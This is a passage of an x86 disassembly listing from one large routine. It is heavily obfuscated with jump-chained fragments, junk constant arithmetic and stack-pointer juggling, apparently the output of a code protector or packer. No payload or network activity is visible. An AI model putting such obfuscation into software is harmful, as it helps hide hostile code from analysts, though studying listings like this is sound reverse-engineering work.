		add	edi, 4
		jmp	loc_5CCD55
; ---------------------------------------------------------------------------


loc_5C15B2:				; CODE XREF: sub_5A55E5+2D23Ej
		pop	esi
		shr	edi, 2
		push	edx
		mov	edx, 49DD5DDAh
		add	edx, 870D405Eh
		sub	edi, edx
		pop	edx
		mov	edx, edi
		jmp	loc_5C2A4C
; ---------------------------------------------------------------------------


loc_5C15CC:				; CODE XREF: sub_5A55E5+2257Bj
		or	ebx, 15847F9Bh
		neg	ebx
		xor	ebx, 0A0438041h
		jmp	loc_5CAC86
; ---------------------------------------------------------------------------


loc_5C15DF:				; CODE XREF: sub_5A55E5+2C9F2j
		sub	al, 8Dh
		add	al, cl
		push	dx
		push	eax
		mov	al, 96h
		jmp	loc_5CE96C
; ---------------------------------------------------------------------------


loc_5C15ED:				; CODE XREF: sub_5A55E5+1A674j
		pop	ecx
		add	ebp, 4
		jmp	loc_5D2A20
; ---------------------------------------------------------------------------


loc_5C15F6:				; CODE XREF: sub_5A55E5+21971j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+9Ah+var_9C+2]
		pop	esp
		xor	ebx, [esp+96h+var_98+2]
		xor	[esp+96h+var_98+2], ebx
		xor	ebx, [esp+96h+var_98+2]
		mov	esp, [esp+96h+var_98+2]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C161A:				; CODE XREF: sub_5A55E5+289F3j
		add	eax, 1
		sub	eax, 0DCB70552h
		mov	edi, eax
		pop	eax
		jmp	loc_5D173D
; ---------------------------------------------------------------------------


loc_5C162C:				; CODE XREF: sub_5A55E5+2241Aj
		sub	esp, 4
		mov	[esp+96h+var_98+2], esi
		mov	esi, offset byte_6121E1
		xor	edx, esi
		mov	esi, [esp+96h+var_98+2]
		jmp	loc_5C9F9B
; ---------------------------------------------------------------------------


loc_5C1641:				; CODE XREF: sub_5A55E5+296ECj
		mov	ebp, [esp+96h+var_98+2]
		jmp	loc_5CC736
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+96h+var_98+2]
		jmp	loc_5C7450
; ---------------------------------------------------------------------------


loc_5C1652:				; CODE XREF: sub_5A55E5+26827j
		mov	esi, 466B7D3Ah
		push	ebx
		jmp	loc_5C931C
; ---------------------------------------------------------------------------


loc_5C165D:				; CODE XREF: sub_5A55E5+2CD9Fj
		push	[esp+9Ah+var_9C+2]
		pop	ecx
		push	ecx
		push	esp
		pop	ecx
		push	edi
		jmp	loc_5C62FC
; ---------------------------------------------------------------------------


loc_5C166A:				; CODE XREF: sub_5A55E5+27D56j
		push	edx
		mov	dl, 6Dh
		mov	ch, dl
		pop	edx
		mov	bh, ch
		pop	ecx
		jmp	loc_5D3E34
; ---------------------------------------------------------------------------


loc_5C1678:				; CODE XREF: sub_5A55E5+1D407j
		mov	[esp+9Eh+var_A0+2], ecx
		push	2C9h
		mov	[esp+0A2h+var_A4+2], esp
		add	[esp+0A2h+var_A4+2], 4
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+9Eh+var_A0+2]
		pop	esp
		mov	[esp+9Ah+var_9C+2], edi
		push	4
		jmp	loc_5C2093
; ---------------------------------------------------------------------------


loc_5C16A2:				; CODE XREF: sub_5A55E5+22713j
		pop	eax
		jmp	loc_5C396F
; ---------------------------------------------------------------------------


loc_5C16A8:				; CODE XREF: sub_5A55E5+2234Bj
		add	esp, 4
		jmp	loc_5D1E0B
; ---------------------------------------------------------------------------


loc_5C16B3:				; CODE XREF: sub_5A55E5+29172j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5C98E7
; ---------------------------------------------------------------------------


loc_5C16C4:				; CODE XREF: sub_5A55E5+2C5E3j
		shl	eax, 1
		add	eax, 5324242Ah
		add	esi, eax
		pop	eax
		xor	edi, esi
		mov	esi, [esp+96h+var_98+2]
		add	esp, 4
		jmp	loc_5CEE0C
; ---------------------------------------------------------------------------


loc_5C16DB:				; CODE XREF: sub_5A55E5+2AD45j
		push	esi
		mov	esi, esp
		jmp	loc_5CB3DE
; ---------------------------------------------------------------------------


loc_5C16E3:				; CODE XREF: sub_5A55E5+2E56Ej
		push	1B9Ch
		jmp	loc_5C6E5E
; ---------------------------------------------------------------------------


loc_5C16ED:				; CODE XREF: sub_5A55E5+1EE8Fj
		add	esp, 4
		push	ebx
		jmp	loc_5CDFE3
; ---------------------------------------------------------------------------


loc_5C16F9:				; CODE XREF: sub_5A55E5+2BF18j
		sub	edi, 0D4AAF60h
		add	eax, edi
		pop	edi
		sub	edx, eax
		pop	eax
		jmp	loc_5CF5C8
; ---------------------------------------------------------------------------


loc_5C170A:				; CODE XREF: sub_5A55E5+23B30j
		pop	ecx
		mov	[edx+30h], eax
		push	[esp+8Eh+var_90+2]
		pop	eax
		add	esp, 4
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C171D:				; CODE XREF: sub_5A55E5+1C8D0j
		push	ebp
		mov	ebp, esp
		jmp	loc_5C671E
; ---------------------------------------------------------------------------


loc_5C1725:				; CODE XREF: sub_5A55E5+2AE3Bj
		pop	ebx
		shr	ebp, 8
		push	eax
		mov	eax, 3DAE64E4h
		sub	ebp, eax
		jmp	loc_5C5764
; ---------------------------------------------------------------------------


loc_5C1736:				; CODE XREF: sub_5A55E5+1C6B2j
		xor	edx, eax
		jmp	loc_5C2319
; ---------------------------------------------------------------------------


loc_5C173D:				; CODE XREF: sub_5A55E5+20820j
		xchg	edx, [esp+6Ah+var_6C+2]
		mov	esp, [esp+6Ah+var_6C+2]
		pop	[esp+6Ah+var_6C+2]
		mov	esp, [esp+66h+var_68+2]
		shl	eax, cl
		jmp	loc_5D0E0B
; ---------------------------------------------------------------------------


loc_5C1750:				; CODE XREF: sub_5A55E5+26DA2j
		mov	[esp+66h+var_68+2], ecx
		mov	ecx, 17B25B40h
		xor	ecx, 195C19E3h
		jmp	loc_5D08EF
; ---------------------------------------------------------------------------


loc_5C1763:				; CODE XREF: sub_5A55E5+20C7Cj
		sub	edi, 0FFFFFFFFh
		shl	edi, 8
		and	edi, 695F1F67h
		sub	edi, 1DF23697h
		shl	edi, 4
		push	esi
		mov	esi, 0B19DC694h
		xor	edi, esi
		pop	esi
		add	eax, edi
		pop	edi
		push	2CCCh
		mov	[esp+66h+var_68+2], ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_5CBE17
; ---------------------------------------------------------------------------


loc_5C179B:				; CODE XREF: sub_5A55E5+2DF9Cj
		add	edi, edx
		push	[esp+66h+var_68+2]
		jmp	loc_5C091B
; ---------------------------------------------------------------------------


loc_5C17A5:				; CODE XREF: sub_5A55E5+23C33j
		pop	ebx
		push	si
		jmp	loc_5CB031
; ---------------------------------------------------------------------------


loc_5C17AD:				; CODE XREF: sub_5A55E5+1AE86j
		pop	esp
		xor	ecx, [esp+9Ch+var_9C]
		jmp	loc_5C1BB1
; ---------------------------------------------------------------------------


loc_5C17B6:				; CODE XREF: sub_5A55E5+2218Aj
		push	small 75ACh
		jmp	loc_5C96CE
; ---------------------------------------------------------------------------


loc_5C17BF:				; CODE XREF: sub_5A55E5+264C5j
		mov	edx, esp
		jmp	loc_5C556C
; ---------------------------------------------------------------------------


loc_5C17C6:				; CODE XREF: sub_5A55E5+1FE62j
		pop	esi
		add	esp, 4
		push	esi
		push	[esp+9Ah+var_98+2]
		push	[esp+9Eh+var_A0+2]
		pop	esi
		add	esp, 4
		pop	[esp+9Ah+var_9C+2]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C17E1:				; CODE XREF: sub_5A55E5+22A5Cj
		mov	ecx, 2
		add	edx, 52F3CE9h
		add	edx, ecx
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], esi
		push	ebp
		mov	ebp, 1690656h
		shr	ebp, 2
		jmp	loc_5CF4EA
; ---------------------------------------------------------------------------


loc_5C1805:				; CODE XREF: sub_5A55E5+2E1BDj
		mov	esi, [esp+9Eh+var_A0+2]
		add	esp, 4
		xor	ebx, eax
		push	ecx
		mov	ch, 0DBh
		dec	ch
		sub	ch, 0D4h
		jmp	loc_5C67A0
; ---------------------------------------------------------------------------


loc_5C181D:				; CODE XREF: sub_5A55E5+2E0A2j
		shl	ecx, 1
		jmp	loc_5D251B
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+9Eh+var_A0+2]
		jmp	loc_5C9583
; ---------------------------------------------------------------------------


loc_5C182D:				; CODE XREF: sub_5A55E5+29156j
		push	25585BD1h
		pop	edi
		xor	[esp+9Eh+var_9C+2], edi
		pop	edi
		push	[esp+9Ah+var_9C+2]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_5CBE9B
; ---------------------------------------------------------------------------


loc_5C1853:				; CODE XREF: sub_5A55E5+2D160j
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp+0A2h+var_A4+2]
		add	esp, 4
		xchg	esi, [esp+9Eh+var_A0+2]
		jmp	loc_5C43B3
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+9Eh+var_A0+2]
		jmp	loc_5CA381
; ---------------------------------------------------------------------------


loc_5C1875:				; CODE XREF: sub_5A55E5+1AF8Bj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+88h+var_88]
		pop	esp
		push	[esp+84h+var_84]
		pop	ebx
		sub	esp, 4
		mov	[esp+88h+var_88], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_5CA0B0
; ---------------------------------------------------------------------------


loc_5C189E:				; CODE XREF: sub_5A55E5+2E022j
		add	edx, 131722B6h
		jmp	loc_5CE4AB
; ---------------------------------------------------------------------------


loc_5C18A9:				; CODE XREF: sub_5A55E5+23D32j
		xor	ebx, [esp+8Ch+var_8C]
		pop	esp
		mov	[esp+88h+var_88], eax
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C18B5:				; CODE XREF: sub_5A55E5+1FB93j
		push	75DC47C6h
		pop	esi
		add	ebp, esi
		pop	esi
		add	ebp, eax
		push	edi
		push	ebp
		mov	ebp, 75DC47C6h
		mov	edi, ebp
		jmp	loc_5C6181
; ---------------------------------------------------------------------------


loc_5C18CE:				; CODE XREF: sub_5A55E5+1C695j
		or	edi, eax
		jmp	loc_5C71F4
; ---------------------------------------------------------------------------


loc_5C18D5:				; CODE XREF: sub_5A55E5+26B70j
		mov	[esp+8Ch+var_8C], ebx
		mov	eax, [esp+8Ch+var_8C]
		push	eax
		mov	eax, esp
		push	ebp
		push	eax
		mov	eax, 57750143h
		shr	eax, 1
		add	eax, 35F43A75h
		shl	eax, 8
		push	edx
		jmp	loc_5CAFA2
; ---------------------------------------------------------------------------


loc_5C18F5:				; CODE XREF: sub_5A55E5+23165j
		add	esp, 4
		jmp	loc_5C85C2
; ---------------------------------------------------------------------------


loc_5C1900:				; CODE XREF: sub_5A55E5+2052Cj
		add	edi, 944616BBh
		xor	esi, edi
		pop	edi
		push	5601h
		mov	[esp+98h+var_98], edx
		jmp	loc_5C99D2
; ---------------------------------------------------------------------------


loc_5C1916:				; CODE XREF: sub_5A55E5+2CC0Ej
		xor	edi, 77B27238h
		add	ebx, edi
		pop	edi
		push	ebp
		jmp	loc_5CDB08
; ---------------------------------------------------------------------------


loc_5C1925:				; CODE XREF: sub_5A55E5+2B305j
		push	[esp+98h+var_98]
		push	[esp+9Ch+var_9C]
		mov	eax, [esp+0A0h+var_A0]
		push	0FE8h
		mov	[esp+0A4h+var_A4], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+0A4h+var_A4]
		jmp	loc_5D2728
; ---------------------------------------------------------------------------


loc_5C1949:				; CODE XREF: sub_5A55E5+236F0j
		push	edi
		mov	edi, 34B04434h
		xor	edi, 4ED12923h
		dec	edi
		push	edi
		mov	edi, esp
		jmp	loc_5C3316
; ---------------------------------------------------------------------------


loc_5C195E:				; CODE XREF: sub_5A55E5+2A9F1j
		mov	ecx, 7561244Bh
		add	eax, ecx
		jmp	loc_5CDD82
; ---------------------------------------------------------------------------


loc_5C196A:				; CODE XREF: sub_5A55E5+1CE86j
		sub	ebp, 0F98FBA68h
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+0A8h+var_A8]
		mov	esp, [esp+0A8h+var_A8]
		push	ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_5D109F
; ---------------------------------------------------------------------------


loc_5C1987:				; CODE XREF: sub_5A55E5+229AFj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C198C:				; CODE XREF: sub_5A55E5+2593Cj
		push	esi
		mov	esi, 287470FCh
		mov	edx, esi
		mov	esi, [esp+0B4h+var_B4]
		add	esp, 4
		xor	edx, ecx
		mov	ecx, [esp+0B0h+var_B0]
		push	ebx
		mov	ebx, esp
		push	6B13h
		mov	[esp+0B8h+var_B8], edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	edx
		jmp	loc_5CF08A
; ---------------------------------------------------------------------------


loc_5C19BB:				; CODE XREF: sub_5A55E5+1FB4Bj
		add	edi, 17AE5014h
		mov	ebp, [esp+0B8h+var_B8]
		add	esp, 4
		push	ebx
		jmp	loc_5CBB20
; ---------------------------------------------------------------------------


loc_5C19CD:				; CODE XREF: sub_5A55E5+2A7BDj
		add	esi, 378541E1h
		and	edi, esi
		jmp	loc_5CFB48
; ---------------------------------------------------------------------------


loc_5C19DA:				; CODE XREF: sub_5A55E5+2D7BDj
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp+0B4h+var_B4]
		xor	[esp+0B4h+var_B4], ecx
		xor	ecx, [esp+0B4h+var_B4]
		mov	esp, [esp+0B4h+var_B4]
		jmp	loc_5C3D2A
; ---------------------------------------------------------------------------


loc_5C19EE:				; CODE XREF: sub_5A55E5+1EDF9j
		add	dh, 7Dh
		push	small 56BAh
		mov	word ptr [esp+0B6h+var_B8+2], dx
		jmp	loc_5C429C
; ---------------------------------------------------------------------------


loc_5C19FE:				; CODE XREF: sub_5A55E5+21FE6j
		mov	edi, 0FAF89692h
		add	edi, 3A163CFFh
		add	edi, ebp
		push	eax
		mov	eax, 50F70BB3h
		jmp	loc_5C542B
; ---------------------------------------------------------------------------


loc_5C1A16:				; CODE XREF: sub_5A55E5+22319j
		push	eax
		inc	[esp+0BEh+var_C0+2]
		pop	eax
		inc	eax
		jmp	loc_5C247E
; ---------------------------------------------------------------------------


loc_5C1A21:				; CODE XREF: sub_5A55E5+22873j
		add	eax, 4
		sub	eax, 4
		jmp	loc_5CED91
; ---------------------------------------------------------------------------


loc_5C1A30:				; CODE XREF: sub_5A55E5+1F6CAj
		sub	dh, 26h
		jmp	loc_5C3B97
; ---------------------------------------------------------------------------


loc_5C1A38:				; CODE XREF: sub_5A55E5+216C7j
		add	eax, esi
		jmp	loc_5CA537
; ---------------------------------------------------------------------------


loc_5C1A3F:				; CODE XREF: sub_5A55E5+1D107j
		push	71A3h
		mov	[esp+0BEh+var_C0+2], esp
		add	[esp+0BEh+var_C0+2], 4
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_5C2E9B
; ---------------------------------------------------------------------------


loc_5C1A57:				; CODE XREF: sub_5A55E5+2380Cj
		mov	ecx, [esp+0BEh+var_C0+2]
		add	esp, 4
		sub	ebp, 9DC1528h
		add	edx, ebp
		mov	ebp, [esp+0BAh+var_BC+2]
		add	esp, 4
		xor	edx, [esp+0B6h+var_B8+2]
		jmp	loc_5C6831
; ---------------------------------------------------------------------------


loc_5C1A79:				; CODE XREF: sub_5A55E5+1DD8Aj
		xor	ebx, 204E0BCBh
		push	edi
		mov	edi, 0AB968A8h
		add	ebx, edi
		mov	edi, [esp+0BAh+var_BC+2]
		add	esp, 4
		jmp	loc_5BFAC3
; ---------------------------------------------------------------------------


loc_5C1A95:				; CODE XREF: sub_5A55E5+2E84Aj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5D084C
; ---------------------------------------------------------------------------


loc_5C1A9D:				; CODE XREF: sub_5A55E5+2D2D6j
		xor	esi, 1AB73E29h
		sub	eax, esi
		pop	esi
		xchg	eax, [esp+0AEh+var_B0+2]
		jmp	loc_5C0915
; ---------------------------------------------------------------------------


loc_5C1AAE:				; CODE XREF: sub_5A55E5+2229Dj
		pop	ebp
		dec	ebx
		jmp	loc_5C053C
; ---------------------------------------------------------------------------


loc_5C1AB5:				; CODE XREF: sub_5A55E5+21185j
		mov	ecx, [esp+0AAh+var_AC+2]
		add	esp, 4
		pop	[esp+0A6h+var_A8+2]
		pop	esp
		mov	[esp+9Eh+var_A0+2], ecx
		push	704Dh
		mov	[esp+0A2h+var_A4+2], esp
		add	[esp+0A2h+var_A4+2], 4
		jmp	loc_5CE6E0
; ---------------------------------------------------------------------------


loc_5C1AD3:				; CODE XREF: sub_5A55E5+21DAAj
		xor	ebx, [esp+0A2h+var_A4+2]
		mov	esp, [esp+0A2h+var_A4+2]
		sub	esp, 4
		mov	[esp+0A6h+var_A8+2], ebp
		push	esp
		jmp	loc_5C7BD1
; ---------------------------------------------------------------------------


loc_5C1AE5:				; CODE XREF: sub_5A55E5+1CE54j
		add	ebx, 2CCD2464h
		and	ebx, 61590580h
		sub	ebx, 2853778Bh
		and	ebx, 34D53031h
		xor	ebx, 5F983BBAh
		and	ebx, 6A990B5Dh
		jmp	loc_5D3912
; ---------------------------------------------------------------------------


loc_5C1B0E:				; CODE XREF: sub_5A55E5+23310j
		pop	esp
		inc	[esp+0A6h+var_A8+2]
		pushf
		jmp	loc_5CDED5
; ---------------------------------------------------------------------------


loc_5C1B18:				; CODE XREF: sub_5A55E5+1E8DAj
		mov	esp, [esp+0AAh+var_AC+2]
		mov	[esp+0AAh+var_AC+2], ebp
		mov	ebp, 11F26743h
		and	eax, ebp
		mov	ebp, [esp+0AAh+var_AC+2]
		jmp	loc_5CE41F
; ---------------------------------------------------------------------------


loc_5C1B2D:				; CODE XREF: sub_5A55E5+1E41Ej
		and	eax, esi
		jmp	loc_5D3F02
; ---------------------------------------------------------------------------


loc_5C1B34:				; CODE XREF: sub_5A55E5+2B335j
		mov	esi, 6AB67E90h
		inc	esi
		jmp	loc_5C8579
; ---------------------------------------------------------------------------


loc_5C1B3F:				; CODE XREF: sub_5A55E5+1F939j
		push	[esp+0AAh+var_AC+2]
		pop	ebx
		push	ecx
		push	esp
		jmp	loc_5D2A98
; ---------------------------------------------------------------------------


loc_5C1B4A:				; CODE XREF: sub_5A55E5+2B452j
		pop	ecx
		push	small word ptr [eax]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C1B53:				; CODE XREF: sub_5A55E5+2A4C9j
		or	edx, ecx
		mov	ecx, [esp+0B0h+var_B0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0B0h+var_B0], ebx
		mov	ebx, 32425BECh
		not	ebx
		sub	ebx, 550A9A4Ch
		sub	ebx, 0C298CFFh
		sub	edx, ebx
		pop	ebx
		push	ebx
		jmp	loc_5C1CAD
; ---------------------------------------------------------------------------


loc_5C1B80:				; CODE XREF: sub_5A55E5+1AF65j
		add	esi, ebx
		add	esi, 39F67718h
		sub	esi, 520074D4h
		pop	ebx
		push	ebx
		push	7DCAh
		jmp	loc_5C138A
; ---------------------------------------------------------------------------


loc_5C1B9A:				; CODE XREF: sub_5A55E5+26954j
		mov	edi, [esp+84h+var_84]
		push	ebp
		push	esp
		push	[esp+8Ch+var_8C]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		jmp	loc_5D2F74
; ---------------------------------------------------------------------------


loc_5C1BB1:				; CODE XREF: sub_5A55E5+1C1CCj
		xor	[esp+9Ch+var_9C], ecx
		xor	ecx, [esp+9Ch+var_9C]
		jmp	loc_5CA4FC
; ---------------------------------------------------------------------------


loc_5C1BBC:				; CODE XREF: sub_5A55E5+26730j
		push	[esp+9Ch+var_9C]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0A0h+var_A0]
		pop	esp
		jmp	loc_5C42DC
; ---------------------------------------------------------------------------


loc_5C1BD8:				; CODE XREF: sub_5A55E5+2D13Ej
		sub	ebx, ecx
		add	ebx, 8E726C1h
		mov	ecx, [esp+9Ch+var_9C]
		add	esp, 4
		mov	dx, word ptr [esp+98h+var_98]
		push	ebx
		push	1AF2h
		jmp	loc_5C01D3
; ---------------------------------------------------------------------------


loc_5C1BF8:				; CODE XREF: sub_5A55E5+2050Dj
		mov	esi, [esp+0A0h+var_A0]
		add	esp, 4
		jmp	loc_5BFCF0
; ---------------------------------------------------------------------------


loc_5C1C06:				; CODE XREF: sub_5A55E5+25834j
		push	edx
		jmp	loc_5CF589
; ---------------------------------------------------------------------------


loc_5C1C0C:				; CODE XREF: sub_5A55E5+2ADECj
		sub	esp, 4
		mov	[esp+0A4h+var_A4], ebp
		mov	ebp, 5E430EF2h
		jmp	loc_5CB162
; ---------------------------------------------------------------------------


loc_5C1C1C:				; CODE XREF: sub_5A55E5+1D13Fj
		mov	ebp, [esp+0A4h+var_A4]
		jmp	loc_5D3847
; ---------------------------------------------------------------------------


loc_5C1C24:				; CODE XREF: sub_5A55E5+2800Aj
		add	esi, ecx
		mov	ecx, [esp+0A4h+var_A4]
		add	esp, 4
		sub	edx, esi
		pop	esi
		pop	ecx
		xchg	edx, [esp+98h+var_98]
		mov	esp, [esp+98h+var_98]
		mov	ax, word ptr [esp+98h+var_98]
		push	1702h
		mov	[esp+9Ch+var_9C], eax
		push	672Ah
		mov	[esp+0A0h+var_A0], esp
		push	esi
		jmp	loc_5D1E43
; ---------------------------------------------------------------------------


loc_5C1C53:				; CODE XREF: sub_5A55E5+1AC00j
		mov	ecx, [esp+7Eh+var_80+2]
		add	esp, 4
		push	edi
		jmp	loc_5C10CE
; ---------------------------------------------------------------------------


loc_5C1C5F:				; CODE XREF: sub_5A55E5+2C592j
		push	eax
		mov	eax, 73BF5313h
		not	eax
		and	eax, 775D63A4h
		push	ebp
		mov	ebp, 58C90EC8h
		add	eax, ebp
		mov	ebp, [esp+86h+var_88+2]
		add	esp, 4
		jmp	loc_5C18CE
; ---------------------------------------------------------------------------


loc_5C1C7F:				; CODE XREF: sub_5A55E5+2D938j
		push	edi
		jmp	loc_5D3660
; ---------------------------------------------------------------------------


loc_5C1C85:				; CODE XREF: sub_5A55E5+2892Fj
		pop	edx
		jmp	loc_5C5FF3
; ---------------------------------------------------------------------------


loc_5C1C8B:				; CODE XREF: sub_5A55E5+27BF0j
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		push	eax
		mov	eax, 0C0A3B608h
		jmp	loc_5C1736
; ---------------------------------------------------------------------------


loc_5C1C9C:				; CODE XREF: sub_5A55E5+20616j
		mov	edx, [esp+86h+var_88+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5C460F
; ---------------------------------------------------------------------------


loc_5C1CAD:				; CODE XREF: sub_5A55E5+1C596j
		mov	ebx, 7A67B55h
		shl	ebx, 8
		or	ebx, 62E1AE8h
		shr	ebx, 7
		sub	ebx, 0A30D8381h
		xor	edx, ebx
		pop	ebx
		add	eax, 58C64A89h
		jmp	loc_5CAEE0
; ---------------------------------------------------------------------------


loc_5C1CD1:				; CODE XREF: sub_5A55E5+2CF07j
		mov	ecx, esp
		jmp	loc_5CD20F
; ---------------------------------------------------------------------------


loc_5C1CD8:				; CODE XREF: sub_5A55E5+2A259j
		mov	edx, 0F413FE5h
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	edx, ebp
		jmp	loc_5C36FC
; ---------------------------------------------------------------------------


loc_5C1CEA:				; CODE XREF: sub_5A55E5+21ECAj
		push	edx
		sub	esp, 4
		mov	[esp+0B8h+var_B8], ebp
		mov	bp, 4DDFh
		mov	dx, bp
		pop	ebp
		push	si
		push	ebx
		mov	bx, 3A02h
		jmp	loc_5C35B3
; ---------------------------------------------------------------------------


loc_5C1D08:				; CODE XREF: sub_5A55E5+1D5E4j
		add	eax, 0D936522Bh
		add	edx, eax
		mov	eax, [esp+0BAh+var_BC+2]
		push	eax
		jmp	loc_5C2CF7
; ---------------------------------------------------------------------------


loc_5C1D18:				; CODE XREF: sub_5A55E5+29A67j
		pop	esi
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 298C5111h
		jmp	loc_5CF625
; ---------------------------------------------------------------------------


loc_5C1D27:				; CODE XREF: sub_5A55E5+27B72j
		xchg	ebp, [esp+0BAh+var_BC+2]
		pop	esp
		jmp	loc_5C6E37
; ---------------------------------------------------------------------------


loc_5C1D30:				; CODE XREF: sub_5A55E5+21CDCj
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+0B6h+var_B8+2]
		mov	esp, [esp+0B6h+var_B8+2]
		jmp	loc_5CFCF6
; ---------------------------------------------------------------------------


loc_5C1D44:				; CODE XREF: sub_5A55E5+1E615j
		mov	ebx, [esp+0B6h+var_B8+2]
		jmp	loc_5C426E
; ---------------------------------------------------------------------------


loc_5C1D4C:				; CODE XREF: sub_5A55E5+1B06Dj
		add	ebp, edi
		pop	edi
		mov	eax, [esp+94h+var_94]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5CB9CF
; ---------------------------------------------------------------------------


loc_5C1D63:				; CODE XREF: sub_5A55E5+23441j
		mov	esi, 4E68449Ch
		add	esi, 1A731CA2h
		not	esi
		shr	esi, 4
		add	esi, 1AC6055Dh
		sub	edx, 325B58EBh
		sub	edx, esi
		jmp	loc_5D2C7B
; ---------------------------------------------------------------------------


loc_5C1D86:				; CODE XREF: sub_5A55E5+1E081j
		add	[esp+94h+var_90], edi
		pop	edi
		pop	ecx
		or	ecx, 6EC96FD5h
		jmp	loc_5C4492
; ---------------------------------------------------------------------------


loc_5C1D97:				; CODE XREF: sub_5A55E5+27E33j
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp+90h+var_90]
		add	esp, 4
		jmp	loc_5D205C
; ---------------------------------------------------------------------------


loc_5C1DAA:				; CODE XREF: sub_5A55E5+1DDD3j
		push	edi
		jmp	loc_5CF1EC
; ---------------------------------------------------------------------------


loc_5C1DB0:				; CODE XREF: sub_5A55E5+25F58j
		mov	ecx, 290A24DBh
		xor	ebx, ecx
		pop	ecx
		mov	esi, ebx
		push	[esp+8Ch+var_8C]
		jmp	loc_5D1299
; ---------------------------------------------------------------------------


loc_5C1DC2:				; CODE XREF: sub_5A55E5+233AFj
		add	ebp, ebx
		mov	ebx, [esp+90h+var_90]
		add	esp, 4
		sub	ebx, 47FE2499h
		add	ebx, ebp
		jmp	loc_5CDAF9
; ---------------------------------------------------------------------------


loc_5C1DD7:				; CODE XREF: sub_5A55E5+1F12Fj
		xor	al, 69h
		sub	bl, al
		pop	eax
		add	cl, bl
		pop	ebx
		xor	al, cl
		mov	ecx, [esp+84h+var_84]
		add	esp, 4
		push	eax
		push	esp
		push	[esp+88h+var_88]
		jmp	loc_5C2A64
; ---------------------------------------------------------------------------


loc_5C1DF4:				; CODE XREF: sub_5A55E5+22927j
		mov	ecx, 1
		sub	edi, ecx
		jmp	loc_5CEF0F
; ---------------------------------------------------------------------------


loc_5C1E00:				; CODE XREF: sub_5A55E5+1EE9Fj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C1E05:				; CODE XREF: sub_5A55E5+1E08Cj
		push	ecx
		push	esp
		mov	ecx, [esp+94h+var_94]
		jmp	loc_5C086C
; ---------------------------------------------------------------------------


loc_5C1E0F:				; CODE XREF: sub_5A55E5+1BC6Dj
		mov	ebx, 0FFFFFFFFh
		sub	ebp, ebx
		pop	ebx
		add	ebp, 938D032Dh
		mov	ecx, ebp
		pop	ebp
		add	[esp+0AAh+var_A8+2], ecx
		mov	ecx, [esp+0AAh+var_AC+2]
		add	esp, 4
		mov	edx, [esp+0A6h+var_A8+2]
		add	esp, 4
		sub	edx, 0E7326B9h
		jmp	loc_5CD9CA
; ---------------------------------------------------------------------------


loc_5C1E3E:				; CODE XREF: sub_5A55E5+288B5j
		sub	edx, 363B65F3h
		push	eax
		jmp	loc_5CB21A
; ---------------------------------------------------------------------------


loc_5C1E4A:				; CODE XREF: sub_5A55E5+1AEA1j
		push	285E7370h
		mov	ebx, [esp+0A4h+var_A4]
		sub	esp, 4
		mov	[esp+0A8h+var_A8], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0A8h+var_A8]
		pop	esp
		xor	ebx, 75C3504Eh
		push	ecx
		mov	ecx, 324B70D5h
		push	ebp
		mov	ebp, 66E50AA8h
		or	ebp, 3692CC0h
		jmp	loc_5C3BDE
; ---------------------------------------------------------------------------


loc_5C1E87:				; CODE XREF: sub_5A55E5+264DBj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C1E8C:				; CODE XREF: sub_5A55E5+2CE97j
		mov	ecx, [esp+0ACh+var_AC]
		add	esp, 4
		push	ebx
		jmp	loc_5C4F1A
; ---------------------------------------------------------------------------


loc_5C1E9B:				; CODE XREF: sub_5A55E5+2BD69j
		shr	edi, 7
		neg	edi
		push	ecx
		push	ebp
		jmp	loc_5D25E9
; ---------------------------------------------------------------------------


loc_5C1EA7:				; CODE XREF: sub_5A55E5+2A7CBj
		mov	[esp+0B4h+var_B4], eax
		mov	eax, esp
		jmp	loc_5D3E8C
; ---------------------------------------------------------------------------


loc_5C1EB1:				; CODE XREF: sub_5A55E5+2D5E7j
		push	[esp+0B4h+var_B4]
		pop	edi
		jmp	loc_5C171D
; ---------------------------------------------------------------------------


